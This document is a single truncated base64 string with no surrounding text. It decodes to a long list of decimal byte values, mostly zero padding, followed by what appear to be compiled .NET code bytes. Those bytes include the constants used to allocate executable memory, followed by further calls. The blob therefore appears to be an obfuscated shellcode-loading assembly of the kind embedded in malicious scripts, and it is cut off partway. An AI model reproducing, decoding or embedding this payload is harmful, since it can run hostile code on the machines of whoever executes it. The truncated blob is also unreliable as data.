wgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNzIsIDAsIDAsIDAsIDIsIDAsIDUsIDAsIDEzMiwgMzMsIDAsIDAsIDE0NCwgMTEsIDAsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDE5LCA0OCwgMywgMCwgNjIsIDAsIDAsIDAsIDEsIDAsIDAsIDE3LCAwLCAyLCAxNDIsIDEwNSwgMjMsIDI1NCwgMiwgMTAsIDYsIDQ1LCAxMywgMiwgMjIsIDE1NCwgNDAsIDE2LCAwLCAwLCAxMCwgMTI4LCAxMiwgMCwgMCwgNCwgMiwgMjMsIDE1NCwgMTI4LCAxMSwgMCwgMCwgNCwgMiwgMjMsIDE1NCwgMTI4LCAxMCwgMCwgMCwgNCwgMTI2LCAxMSwgMCwgMCwgNCwgMTI2LCAxMCwgMCwgMCwgNCwgMTI2LCAxMiwgMCwgMCwgNCwgNDAsIDgsIDAsIDAsIDYsIDM4LCA0MiwgMCwgMCwgMTksIDQ4LCA3LCAwLCAxNDAsIDAsIDAsIDAsIDIsIDAsIDAsIDE3LCAwLCA0LCA0MCwgMTgsIDAsIDAsIDEwLCAxMCwgNiwgMTExLCAxOSwgMCwgMCwgMTAsIDQwLCAyMCwgMCwgMCwgMTAsIDAsIDYsIDQwLCAxMCwgMCwgMCwgNiwgMjIsIDI1NCwgMSwgMTksIDcsIDE3LCA3LCA0NSwgNCwgMiwgMTEsIDQzLCAyLCAzLCAxMSwgNywgNDAsIDIxLCAwLCAwLCAxMCwgMTIsIDMyLCA1OCwgNCwgMCwgMCwgMjIsIDYsIDExMSwgMTksIDAsIDAsIDEwLCA0MCwgMiwgMCwgMCwgNiwgMTMsIDksIDEyNiwgMjIsIDAsIDAsIDEwLCA4LCAxNDIsIDEwNSwgMTg0LCAzMiwgMCwgNDgsIDAsIDAsIDMxLCA2NCwgNDAsIDUsIDAsIDAsIDYsIDE5LCA0LCA5LCAxNywgNCwgOCwgOCwgMTQyLCAxMDUsIDE4NCwgMTgsIDUsIDQwLCA2LCAwLCAwLCA2LCAzOCwgOSwgMTI2LCAyMiwgMCwgMCwgMTAsIDIyLCAxNywgNCwgMTI2LCAyMiwgMCwgMCwgMTAsIDIyLCAxMjYsIDIyLCAwLCAwLCAxMCwgNDAsIDcsIDAsIDAsIDYsIDM4LCAyMiwgMTksIDYsIDQzLCAwLCAxNywgNiwgNDIsIDE5LCA0OCwgMiwgMCwgMjMsIDAsIDAsIDAsIDMsIDAsIDAsIDE3LCAwLCAyMiwgMTAsIDIsIDExMSwgMjMsIDAsIDAsIDEwLCAxOCwgMCwgNDAsIDksIDAsIDAsIDYsIDM4LCA2LCAxMSwgNDMsIDAsIDcsIDQyLCAxNDYsIDExNCwgMSwgMCwgMCwgMTEyLCAxMjgsIDEwLCAwLCAwLCA0LCAxMTQsIDEsIDAsIDAsIDExMiwgMTI4LCAxMSwgMCwgMCwgNCwgNDAsIDI0L